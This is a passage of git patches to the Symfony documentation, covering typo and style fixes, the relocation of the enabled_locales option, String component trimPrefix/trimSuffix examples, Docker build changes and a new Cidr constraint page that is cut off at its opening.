+Google Gmail         gmail+smtp://USERNAME:PASSWORD@default     n/a                                         n/a
+Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default  mandrill+https://KEY@default                mandrill+api://KEY@default
+Mailgun              mailgun+smtp://USERNAME:PASSWORD@default   mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
+Postmark             postmark+smtp://ID@default                 n/a                                         postmark+api://KEY@default
+Sendgrid             sendgrid+smtp://KEY@default                n/a                                         sendgrid+api://KEY@default
 ==================== ========================================== =========================================== ========================================
 
 .. caution::
diff --git a/messenger.rst b/messenger.rst
index d726ace082b..e54a1b56f10 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1017,7 +1017,7 @@ The transport has a number of options:
 Options defined under ``options`` take precedence over ones defined in the DSN.
 
 ==================  =====================================  ======================
-     Option         Description                            Default
+Option              Description                            Default
 ==================  =====================================  ======================
 table_name          Name of the table                      messenger_messages
 queue_name          Name of the queue (a column in the     default
@@ -1066,7 +1066,7 @@ A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
 ==================  =====================================  =========================
-     Option               Description                      Default
+Option              Description                            Default
 ==================  =====================================  =========================
 stream              The Redis stream name                  messages
 group               The Redis consumer group name          symfony
diff --git a/page_creation.rst b/page_creation.rst
index 0ef60ebfb4e..6f818894e5e 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -166,9 +166,9 @@ To get a list of *all* of the routes in your system, use the ``debug:router`` co
 You should see your ``app_lucky_number`` route in the list:
 
 ================== ======== ======== ====== ===============
- Name               Method   Scheme   Host   Path
+Name               Method   Scheme   Host   Path
 ================== ======== ======== ====== ===============
- app_lucky_number   ANY      ANY      ANY    /lucky/number
+app_lucky_number   ANY      ANY      ANY    /lucky/number
 ================== ======== ======== ====== ===============
 
 You will also see debugging routes besides ``app_lucky_number`` -- more on

From e5819d2502a797c5253dadac6e18445cd2a2798b Mon Sep 17 00:00:00 2001
From: Sabrus <sabruss@users.noreply.github.com>
Date: Fri, 15 Oct 2021 05:33:38 +0200
Subject: [PATCH 2595/7107] typo in security.rst

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 1e6a5ab98e2..e1e1b106656 100644
--- a/security.rst
+++ b/security.rst
@@ -981,7 +981,7 @@ Enable the authenticator using the ``json_login`` setting:
                 main:
                     # ...
                     json_login:
-                        # app_login is a route we will create below
+                        # api_login is a route we will create below
                         check_path: api_login
 
     .. code-block:: xml

From fe79e4993c985c66b27683bf2a62572798b88d4e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 18 Oct 2021 15:55:33 +0200
Subject: [PATCH 2596/7107] Deleting npm from yarn code block

`npm install react` looks totally out of place here, isn't it?
---
 frontend/encore/simple-example.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index d447ade4b29..da99febb9b6 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -70,9 +70,6 @@ To build the assets, run the following if you use the Yarn package manager:
     # on deploy, create a production build
     $ yarn encore production
 
-    # if you use the npm package manager
-    $ npm install react react-dom prop-types --save
-
 If you use the npm package manager, run the following commands instead:
 
 .. code-block:: terminal

From e6ef3614f3d1488a0afe9608af3d163da3bc8201 Mon Sep 17 00:00:00 2001
From: Hidde Wieringa <hidde@hiddewieringa.nl>
Date: Mon, 18 Oct 2021 21:13:09 +0200
Subject: [PATCH 2597/7107] Contributing guidelines: make version reference
 older than current maintained version

---
 contributing/documentation/overview.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 460f1b62589..6213c569289 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -121,7 +121,7 @@ branch of the ``upstream`` remote, which is the original Symfony Docs repository
 Fixes should always be based on the **oldest maintained branch** which contains
 the error. Nowadays this is the ``4.4`` branch. If you are instead documenting a
 new feature, switch to the first Symfony version that included it, e.g.
-``upstream/3.1``.
+``upstream/5.4``.
 
 **Step 5.** Now make your changes in the documentation. Add, tweak, reword and
 even remove any content and do your best to comply with the

From 8dd11f1e032cf431408ce18a2952d50fcabe00f3 Mon Sep 17 00:00:00 2001
From: Hidde Wieringa <hidde@hiddewieringa.nl>
Date: Mon, 18 Oct 2021 21:57:43 +0200
Subject: [PATCH 2598/7107] Local development Docker improvements

---
 .dockerignore |  8 ++++++++
 Dockerfile    | 10 +++++++---
 2 files changed, 15 insertions(+), 3 deletions(-)
 create mode 100644 .dockerignore

diff --git a/.dockerignore b/.dockerignore
new file mode 100644
index 00000000000..7d3ce5c0c44
--- /dev/null
+++ b/.dockerignore
@@ -0,0 +1,8 @@
+/.git
+/_build/doctrees
+/_build/spelling
+/_build/html
+/_build/logs.txt
+/_build/vendor
+/_build/output
+*.pyc
diff --git a/Dockerfile b/Dockerfile
index c1e63debe91..3995b8ff70a 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,16 +1,20 @@
-FROM  python:2-stretch as builder
+FROM python:2-alpine as builder
 
 WORKDIR /www
 
 COPY ./_build/.requirements.txt _build/
 
-RUN pip install  pip==9.0.1 wheel==0.29.0 \
+RUN apk add \
+    git \
+    make
+
+RUN pip install pip==9.0.1 wheel==0.29.0 \
     && pip install -r _build/.requirements.txt
 
 COPY . /www
 
 RUN make -C _build html
 
-FROM  nginx:latest
+FROM nginx:alpine
 
 COPY --from=builder /www/_build/html /usr/share/nginx/html

From c41db2f66e2b6b98cfb554d69a114bc3b5ad63d6 Mon Sep 17 00:00:00 2001
From: Hidde Wieringa <hidde@hiddewieringa.nl>
Date: Mon, 18 Oct 2021 21:31:08 +0200
Subject: [PATCH 2599/7107] [HttpKernel] Add basic support for language
 negotiation

---
 performance.rst                       |   4 +-
 reference/configuration/framework.rst | 129 +++++++++++++++++---------
 2 files changed, 86 insertions(+), 47 deletions(-)

diff --git a/performance.rst b/performance.rst
index 620b76c01b2..e9d1b5558d6 100644
--- a/performance.rst
+++ b/performance.rst
@@ -43,7 +43,7 @@ features, such as the APCu Cache adapter.
 Restrict the Number of Locales Enabled in the Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Use the :ref:`framework.translator.enabled_locales <reference-translator-enabled-locales>`
+Use the :ref:`framework.enabled_locales <reference-enabled-locales>`
 option to only generate the translation files actually used in your application.
 
 .. _performance-service-container-single-file:
@@ -115,7 +115,7 @@ Symfony generates a file with the list of classes to preload in the
 
     ; php.ini
     opcache.preload=/path/to/project/config/preload.php
-    
+
     ; required for opcache.preload:
     opcache.preload_user=www-data
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ddaed96d025..cebff51e16f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -282,6 +282,87 @@ method.
     You can read more information about the default locale in
     :ref:`translation-default-locale`.
 
+.. _reference-enabled-locales:
+
+enabled_locales
+...............
+
+**type**: ``array`` **default**: ``[]`` (empty array = enable all locales)
+
+.. versionadded:: 5.1
+
+    The ``enabled_locales`` option was introduced in Symfony 5.1.
+
+Symfony applications generate by default the translation files for validation
+and security messages in all locales. If your application only uses some
+locales, use this option to restrict the files generated by Symfony and improve
+performance a bit:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translation.yaml
+        framework:
+            enabled_locales: ['en', 'es']
+
+    .. code-block:: xml
+
+        <!-- config/packages/translation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <enabled-locale>en</enabled-locale>
+                <enabled-locale>es</enabled-locale>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/translation.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->enabledLocales(['en', 'es']);
+        };
+
+If some user makes requests with a locale not included in this option, the
+application won't display any error because Symfony will display contents using
+the fallback locale.
+
+set_content_language_from_locale
+...............
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 5.4
+
+    The ``set_content_language_from_locale`` option was introduced in Symfony 5.4.
+
+If this option is set to ``true``, the response will have a ``Content-Language``
+HTTP header set with the ``Request`` locale.
+
+set_locale_from_accept_language
+...............
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 5.4
+
+    The ``set_locale_from_accept_language`` option was introduced in Symfony 5.4.
+
+The ``Request`` locale will automatically be set to the value of the
+``Accept-Language`` HTTP header.
+
+When the ``_locale`` request attribute is passed, the ``Accept-Language`` header
+is ignored.
+
 disallow_search_engine_index
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2142,52 +2223,10 @@ enabled_locales
 
     The ``enabled_locales`` option was introduced in Symfony 5.1.
 
-Symfony applications generate by default the translation files for validation
-and security messages in all locales. If your application only uses some
-locales, use this option to restrict the files generated by Symfony and improve
-performance a bit:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/translation.yaml
-        framework:
-            translator:
-                enabled_locales: ['en', 'es']
-
-    .. code-block:: xml
+.. deprecated:: 5.4
 
-        <!-- config/packages/translation.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:translator>
-                    <enabled-locale>en</enabled-locale>
-                    <enabled-locale>es</enabled-locale>
-                </framework:translator>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/translation.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            $framework->translator()
-                ->enabledLocales(['en', 'es']);
-        };
-
-If some user makes requests with a locale not included in this option, the
-application won't display any error because Symfony will display contents using
-the fallback locale.
+    Using `framework.translator.enabled_locales` has been deprecated in favour of
+    :ref:`framework.enabled_locales <reference-enabled-locales>` since Symfony 5.4.
 
 .. _fallback:
 

From cd44e91610893e02b47b9702570d17b16a050087 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Oct 2021 15:27:27 +0200
Subject: [PATCH 2600/7107] Minor tweak

---
 reference/configuration/framework.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cebff51e16f..dc908b65407 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -282,6 +282,7 @@ method.
     You can read more information about the default locale in
     :ref:`translation-default-locale`.
 
+.. _reference-translator-enabled-locales:
 .. _reference-enabled-locales:
 
 enabled_locales
@@ -337,7 +338,7 @@ application won't display any error because Symfony will display contents using
 the fallback locale.
 
 set_content_language_from_locale
-...............
+................................
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -349,7 +350,7 @@ If this option is set to ``true``, the response will have a ``Content-Language``
 HTTP header set with the ``Request`` locale.
 
 set_locale_from_accept_language
-...............
+...............................
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -357,8 +358,8 @@ set_locale_from_accept_language
 
     The ``set_locale_from_accept_language`` option was introduced in Symfony 5.4.
 
-The ``Request`` locale will automatically be set to the value of the
-``Accept-Language`` HTTP header.
+If this option is set to ``true``, the ``Request`` locale will automatically be
+set to the value of the ``Accept-Language`` HTTP header.
 
 When the ``_locale`` request attribute is passed, the ``Accept-Language`` header
 is ignored.

From 69cfed5cb4f82e7fde23b488f44dfd00932ae83f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Oct 2021 15:32:47 +0200
Subject: [PATCH 2601/7107] Minor syntax fix

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index dc908b65407..0cd3cae2e8e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2226,7 +2226,7 @@ enabled_locales
 
 .. deprecated:: 5.4
 
-    Using `framework.translator.enabled_locales` has been deprecated in favour of
+    Using ``framework.translator.enabled_locales`` has been deprecated in favor of
     :ref:`framework.enabled_locales <reference-enabled-locales>` since Symfony 5.4.
 
 .. _fallback:

From 22e8df0daa26b5b8fb5952f290f01a40e833361f Mon Sep 17 00:00:00 2001
From: Lauri <laurilaks@protonmail.com>
Date: Tue, 19 Oct 2021 16:10:26 +0300
Subject: [PATCH 2602/7107] Fix opening brace style

The opening brace should go on the same line like it is for another function (is_leap_year) in the same page.
---
 create_framework/templating.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 4ae746e1c91..45fc99e0452 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -38,8 +38,7 @@ that renders a template when there is no specific logic. To keep the same
 template as before, request attributes are extracted before the template is
 rendered::
 
-    function render_template($request)
-    {
+    function render_template($request) {
         extract($request->attributes->all(), EXTR_SKIP);
         ob_start();
         include sprintf(__DIR__.'/../src/pages/%s.php', $_route);
@@ -106,8 +105,7 @@ Here is the updated and improved version of our framework::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function render_template($request)
-    {
+    function render_template($request) {
         extract($request->attributes->all(), EXTR_SKIP);
         ob_start();
         include sprintf(__DIR__.'/../src/pages/%s.php', $_route);

From 0c9b2fa8be4182e4b90b55a85ce7ddab8d09bd4a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Oct 2021 16:41:39 +0200
Subject: [PATCH 2603/7107] Fix code style

---
 create_framework/templating.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 45fc99e0452..972f2a1f982 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -38,7 +38,8 @@ that renders a template when there is no specific logic. To keep the same
 template as before, request attributes are extracted before the template is
 rendered::
 
-    function render_template($request) {
+    function render_template($request)
+    {
         extract($request->attributes->all(), EXTR_SKIP);
         ob_start();
         include sprintf(__DIR__.'/../src/pages/%s.php', $_route);
@@ -105,7 +106,8 @@ Here is the updated and improved version of our framework::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function render_template($request) {
+    function render_template($request)
+    {
         extract($request->attributes->all(), EXTR_SKIP);
         ob_start();
         include sprintf(__DIR__.'/../src/pages/%s.php', $_route);
@@ -143,7 +145,8 @@ framework does not need to be modified in any way, create a new
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function is_leap_year($year = null) {
+    function is_leap_year($year = null)
+    {
         if (null === $year) {
             $year = date('Y');
         }

From f1c375cb3e35b649095c6a4d3c13258146d4bb4e Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Tue, 19 Oct 2021 20:09:25 +0200
Subject: [PATCH 2604/7107] Update security.rst

Hello, I updated the docs to use the `hashPassword` method from the `Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface` class.
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index e1e1b106656..8d55515b692 100644
--- a/security.rst
+++ b/security.rst
@@ -473,7 +473,7 @@ the database::
             $plaintextPassword = ...;
 
             // hash the password (based on the security.yaml config for the $user class)
-            $hashedPassword = $passwordHasher->hash(
+            $hashedPassword = $passwordHasher->hashPassword(
                 $user,
                 $plaintextPassword
             );

From 9cb23a5b8489b5fb1bf65601c511d63d8ba1a5c0 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 19 Oct 2021 20:55:51 +0200
Subject: [PATCH 2605/7107] [Form] Minor fixes

I found two comments that point to the wrong variable.
---
 form/unit_testing.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 33ef7bd4ca4..4c28078954f 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -55,7 +55,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
             ];
 
             $model = new TestObject();
-            // $formData will retrieve data from the form submission; pass it as the second argument
+            // $model will retrieve data from the form submission; pass it as the second argument
             $form = $this->factory->create(TestedType::class, $model);
 
             $expected = new TestObject();
@@ -67,7 +67,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
             // This check ensures there are no transformation failures
             $this->assertTrue($form->isSynchronized());
 
-            // check that $formData was modified as expected when the form was submitted
+            // check that $model was modified as expected when the form was submitted
             $this->assertEquals($expected, $model);
         }
 
@@ -88,7 +88,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
 So, what does it test? Here comes a detailed explanation.
 
 First you verify if the ``FormType`` compiles. This includes basic class
-inheritance, the ``buildForm()`` function and options resolution. This should
+inheritance, the ``buildForm()`` method and options resolution. This should
 be the first test you write::
 
     $form = $this->factory->create(TestedType::class, $formData);

From c9920b570ad58efecbf1ec28ed8375aa25423bfc Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 19 Oct 2021 21:12:38 +0200
Subject: [PATCH 2606/7107] [Form] Minor fix

---
 form/multiple_buttons.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/multiple_buttons.rst b/form/multiple_buttons.rst
index 74d430b4bb8..c8b1fc5145b 100644
--- a/form/multiple_buttons.rst
+++ b/form/multiple_buttons.rst
@@ -6,7 +6,7 @@ How to Submit a Form with Multiple Buttons
 
 When your form contains more than one submit button, you will want to check
 which of the buttons was clicked to adapt the program flow in your controller.
-To do this, add a second button with the caption "Save and add" to your form::
+To do this, add a second button with the caption "Save and Add" to your form::
 
     $form = $this->createFormBuilder($task)
         ->add('task', TextType::class)
@@ -17,7 +17,7 @@ To do this, add a second button with the caption "Save and add" to your form::
 
 In your controller, use the button's
 :method:`Symfony\\Component\\Form\\ClickableInterface::isClicked` method for
-querying if the "Save and add" button was clicked::
+querying if the "Save and Add" button was clicked::
 
     if ($form->isSubmitted() && $form->isValid()) {
         // ... perform some action, such as saving the task to the database

From dea0e3654536d1915f96a3d9636694ba866950b8 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 20 Oct 2021 08:48:15 +0200
Subject: [PATCH 2607/7107] Tweak a bit the core team application/revocation
 paragraphs

---
 contributing/code/core_team.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 136edb28dbb..11e975d75e1 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -111,7 +111,7 @@ Symfony contributions:
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-At present, new Symfony Core membership applications are not accepted.
+About once a year, the core team discuss the opportunity to invite new members.
 
 Core Membership Revocation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -123,9 +123,6 @@ A Symfony Core membership can be revoked for any of the following reasons:
 * Willful negligence or intent to harm the Symfony project;
 * Upon decision of the **Project Leader**.
 
-Should new Symfony Core memberships be accepted in the future, revoked
-members must wait at least 12 months before re-applying.
-
 Code Development Rules
 ----------------------
 

From 618c0bca8219988b365faac9933cd005a3cd0d29 Mon Sep 17 00:00:00 2001
From: Serhey Dolgushev <dolgushev.serhey@gmail.com>
Date: Wed, 20 Oct 2021 09:58:14 +0100
Subject: [PATCH 2608/7107] Use s-maxage instead of max-age for ESI

---
 http_cache/esi.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index a166a01762e..7229608665e 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -174,9 +174,8 @@ of the main page::
     {
         public function latest($maxPerPage)
         {
-            // ...
-            $response->setPublic();
-            $response->setMaxAge(60);
+            // sets to public and adds some expiration
+            $response->setSharedMaxAge(60);
 
             return $response;
         }

From cc31cf4d5356bc668d0ff18da25068f0f196b032 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Oct 2021 17:28:59 +0200
Subject: [PATCH 2609/7107] [String] Document trimPrefix() and trimSufix()
 methods

---
 components/string.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 48f17f0b3e9..e4901d9591c 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -306,6 +306,16 @@ Methods to Pad and Trim
     u('   Lorem Ipsum   ')->trimStart(); // 'Lorem Ipsum   '
     u('   Lorem Ipsum   ')->trimEnd();   // '   Lorem Ipsum'
 
+    // removes the given content(s) from the start/end of the string
+    u('file-0001.png')->trimPrefix('file-');                 // '0001.png'
+    u('file-0001.png')->trimPrefix(['file-', 'image-']);     // '0001.png'
+    u('template.html.twig')->trimSuffix('.twig');            // 'template.html'
+    u('template.html.twig')->trimSuffix(['.twig', '.html']); // 'template'
+
+.. versionadded:: 5.4
+
+    The ``trimPrefix()`` and ``trimSuffix()`` methods were introduced in Symfony 5.4.
+
 Methods to Search and Replace
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 6a763a8a30501890a9549b881d57d78f1f850875 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Oct 2021 12:20:09 +0200
Subject: [PATCH 2610/7107] Remove the versionadded directive

---
 components/string.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index c9c2c7c4cd7..73736cbf749 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -300,10 +300,6 @@ Methods to Pad and Trim
     u('template.html.twig')->trimSuffix('.twig');            // 'template.html'
     u('template.html.twig')->trimSuffix(['.twig', '.html']); // 'template'
 
-.. versionadded:: 5.4
-
-    The ``trimPrefix()`` and ``trimSuffix()`` methods were introduced in Symfony 5.4.
-
 Methods to Search and Replace
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 4935481eed5d1882276314cecd81b8b54aca73fa Mon Sep 17 00:00:00 2001
From: Jeroen <4200784+JeroenMoonen@users.noreply.github.com>
Date: Wed, 20 Oct 2021 10:40:23 +0200
Subject: [PATCH 2611/7107] Remove double quotes in console.rst

Remove double quotes in console.rst
---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index ad47c0c6879..f3d7abddc3a 100644
--- a/console.rst
+++ b/console.rst
@@ -406,7 +406,7 @@ console::
 .. note::
 
     When using the Console component in a standalone project, use
-    :class:`Symfony\\Component\\Console\\Application <Symfony\\Component\\Console\\Application>`
+    :class:`Symfony\\Component\\Console\\Application <Symfony\Component\Console\Application>`
     and extend the normal ``\PHPUnit\Framework\TestCase``.
 
 Logging Command Errors

From a2b9341cfd6ae8dd3262c79d57f03cfd5eef70b4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Oct 2021 12:32:42 +0200
Subject: [PATCH 2612/7107] Tweak

---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index f3d7abddc3a..20574b05f91 100644
--- a/console.rst
+++ b/console.rst
@@ -406,7 +406,7 @@ console::
 .. note::
 
     When using the Console component in a standalone project, use
-    :class:`Symfony\\Component\\Console\\Application <Symfony\Component\Console\Application>`
+    :class:`Symfony\\Component\\Console\\Application`
     and extend the normal ``\PHPUnit\Framework\TestCase``.
 
 Logging Command Errors

From 38bfd690c85458a61f6b37410f273d89c1b65149 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Oct 2021 15:46:58 +0200
Subject: [PATCH 2613/7107] [String] Fix the explanation of trimPrefix and
 trimSuffix

---
 components/string.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index e4901d9591c..d9d533880f9 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -306,11 +306,16 @@ Methods to Pad and Trim
     u('   Lorem Ipsum   ')->trimStart(); // 'Lorem Ipsum   '
     u('   Lorem Ipsum   ')->trimEnd();   // '   Lorem Ipsum'
 
-    // removes the given content(s) from the start/end of the string
-    u('file-0001.png')->trimPrefix('file-');                 // '0001.png'
-    u('file-0001.png')->trimPrefix(['file-', 'image-']);     // '0001.png'
+    // removes the given content from the start/end of the string
+    u('file-image-0001.png')->trimPrefix('file-');           // 'image-0001.png'
+    u('file-image-0001.png')->trimPrefix('image-');          // 'file-image-0001.png'
+    u('file-image-0001.png')->trimPrefix('file-image-');     // '0001.png'
+    u('template.html.twig')->trimSuffix('.html');            // 'template.html.twig'
     u('template.html.twig')->trimSuffix('.twig');            // 'template.html'
-    u('template.html.twig')->trimSuffix(['.twig', '.html']); // 'template'
+    u('template.html.twig')->trimSuffix('.html.twig');       // 'template'
+    // when passing an array of prefix/sufix, only the first one found is trimmed
+    u('file-image-0001.png')->trimPrefix(['file-', 'image-']); // 'image-0001.png'
+    u('template.html.twig')->trimSuffix(['.twig', '.html']);   // 'template.html'
 
 .. versionadded:: 5.4
 

From cc46616e29409540c922167a903780f2b5303b45 Mon Sep 17 00:00:00 2001
From: JohJohan <johan.vlaar.1994@gmail.com>
Date: Wed, 20 Oct 2021 20:05:30 +0200
Subject: [PATCH 2614/7107] [FrameworkBundle] 15751 add documentation for
 assertThatForClient

---
 testing.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/testing.rst b/testing.rst
index 1fe8e409a69..00103c6f48c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -922,6 +922,8 @@ Browser Assertions
 ``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
     Asserts the given cookie in the test Client is set to the expected
     value.
+``assertThatForClient(Constraint $constraint, string $message = '')``
+    Asserts the given Constraint in Client.
 
 Crawler Assertions
 ..................

From 797cc1aca65f76ffb867b99b025fcee12bdf8532 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 21 Oct 2021 00:10:12 +0200
Subject: [PATCH 2615/7107] Typo

---
 form/bootstrap5.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 599f49bcb47..aa9670afd4f 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -85,7 +85,7 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
 
     By default, all inputs are rendered with the ``mb-3`` class on their
     container. If you override the ``row_attr`` class option, the ``mb-3`` will
-    be override too and you will need to explicitly add it.
+    be overriden too and you will need to explicitly add it.
 
 Error Messages
 --------------

From 35b4589075ab3cea19e9e8c65521fad34c58527b Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 21 Oct 2021 00:14:28 +0200
Subject: [PATCH 2616/7107] Fixing typos

---
 form/bootstrap5.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 599f49bcb47..458dbf7fee4 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -103,9 +103,9 @@ Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
 Inline Checkboxes and Radios
 ----------------------------
 
-If you want to render your checkboxes or radios fields `inline`_, you can add
-the ``checkbox-inline`` or ``radio-inline`` class, depending of your Symfony
-Form type or ``ChoiceType`` configuration, to the label class.
+If you want to render your checkbox or radio fields `inline`_, you can add
+the ``checkbox-inline`` or ``radio-inline`` class (depending on your Symfony
+Form type or ``ChoiceType`` configuration) to the label class.
 
 .. configuration-block::
 

From 16de4a9f8a7620b04abec7fd7fd2282fe7d09f48 Mon Sep 17 00:00:00 2001
From: popsorin <popsorin15@gmail.com>
Date: Thu, 21 Oct 2021 15:21:37 +0300
Subject: [PATCH 2617/7107]  [Validator] Add documentation for the
 CidrValidator

---
 reference/constraints/Cidr.rst | 155 +++++++++++++++++++++++++++++++++
 1 file changed, 155 insertions(+)
 create mode 100644 reference/constraints/Cidr.rst

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
new file mode 100644
index 00000000000..8f415162437
--- /dev/null
+++ b/reference/constraints/Cidr.rst
@@ -0,0 +1,155 @@
+Cidr
+==
+
+Validates that a value is a valid CIDR notation. By default, this will validate
+the CIDR's IP and netmask both for version 4 and version 6, with the option of allowing
+only one type of IP version to be valid. It also supports a minimum and maximum range
